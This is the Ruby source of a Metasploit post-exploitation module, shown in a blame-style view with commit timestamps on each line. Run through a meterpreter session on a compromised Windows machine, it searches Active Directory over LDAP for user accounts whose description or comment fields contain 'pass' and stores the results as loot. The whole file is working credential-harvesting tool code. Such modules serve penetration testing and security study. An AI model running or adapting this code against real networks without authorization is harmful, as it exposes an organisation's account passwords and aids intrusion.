2013-11-07 20:48:15 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-11-07 20:48:15 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'rex'
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Auxiliary::Report
|
2013-11-23 22:07:07 +00:00
|
|
|
include Msf::Post::Windows::LDAP
|
2013-11-07 20:48:15 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
2014-01-21 20:59:31 +00:00
|
|
|
'Name' => 'Windows Gather Active Directory User Comments',
|
2013-11-07 20:48:15 +00:00
|
|
|
'Description' => %Q{
|
2014-02-10 20:41:59 +00:00
|
|
|
This module will enumerate user accounts in the default Active Domain (AD) directory which
|
|
|
|
contain 'pass' in their description or comment (case-insensitive) by default. In some cases,
|
|
|
|
such users have their passwords specified in these fields.
|
2013-11-07 20:48:15 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2014-04-09 15:46:10 +00:00
|
|
|
'Author' => [ 'Ben Campbell' ],
|
2013-11-07 20:48:15 +00:00
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['URL', 'http://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx'],
|
|
|
|
]
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]),
|
2014-01-21 20:59:31 +00:00
|
|
|
OptString.new('FIELDS', [true, 'Fields to retrieve.','sAMAccountName,userAccountControl,comment,description']),
|
|
|
|
OptString.new('FILTER', [true, 'Search filter.','(&(&(objectCategory=person)(objectClass=user))(|(description=*pass*)(comment=*pass*)))']),
|
2013-11-07 20:48:15 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2013-12-20 13:18:01 +00:00
|
|
|
fields = datastore['FIELDS'].gsub(/\s+/,"").split(',')
|
2013-11-07 20:48:15 +00:00
|
|
|
search_filter = datastore['FILTER']
|
2013-12-20 13:18:01 +00:00
|
|
|
max_search = datastore['MAX_SEARCH']
|
2013-11-07 20:48:15 +00:00
|
|
|
|
2014-02-07 18:16:15 +00:00
|
|
|
begin
|
|
|
|
q = query(search_filter, max_search, fields)
|
|
|
|
if q.nil? or q[:results].empty?
|
|
|
|
return
|
|
|
|
end
|
2014-02-12 21:08:20 +00:00
|
|
|
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
|
|
|
|
# Can't bind or in a network w/ limited accounts
|
|
|
|
print_error(e.message)
|
|
|
|
return
|
2013-11-07 20:48:15 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Results table holds raw string data
|
|
|
|
results_table = Rex::Ui::Text::Table.new(
|
2013-12-20 13:18:01 +00:00
|
|
|
'Header' => "Domain Users",
|
2013-11-07 20:48:15 +00:00
|
|
|
'Indent' => 1,
|
|
|
|
'SortIndex' => -1,
|
2013-12-20 13:18:01 +00:00
|
|
|
'Columns' => fields
|
2013-11-07 20:48:15 +00:00
|
|
|
)
|
|
|
|
|
2013-12-20 13:18:01 +00:00
|
|
|
q[:results].each do |result|
|
2013-11-07 20:48:15 +00:00
|
|
|
row = []
|
|
|
|
|
|
|
|
report = {}
|
2013-12-20 13:18:01 +00:00
|
|
|
result.each do |field|
|
2014-12-13 18:13:36 +00:00
|
|
|
if field[:value].nil?
|
2013-11-07 20:48:15 +00:00
|
|
|
row << ""
|
|
|
|
else
|
2014-12-13 18:13:36 +00:00
|
|
|
row << field[:value]
|
|
|
|
|
2013-11-07 20:48:15 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
results_table << row
|
|
|
|
end
|
|
|
|
|
|
|
|
print_line results_table.to_s
|
2013-12-20 13:18:01 +00:00
|
|
|
|
2013-11-07 20:48:15 +00:00
|
|
|
if datastore['STORE_LOOT']
|
|
|
|
stored_path = store_loot('ad.users', 'text/plain', session, results_table.to_csv)
|
|
|
|
print_status("Results saved to: #{stored_path}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|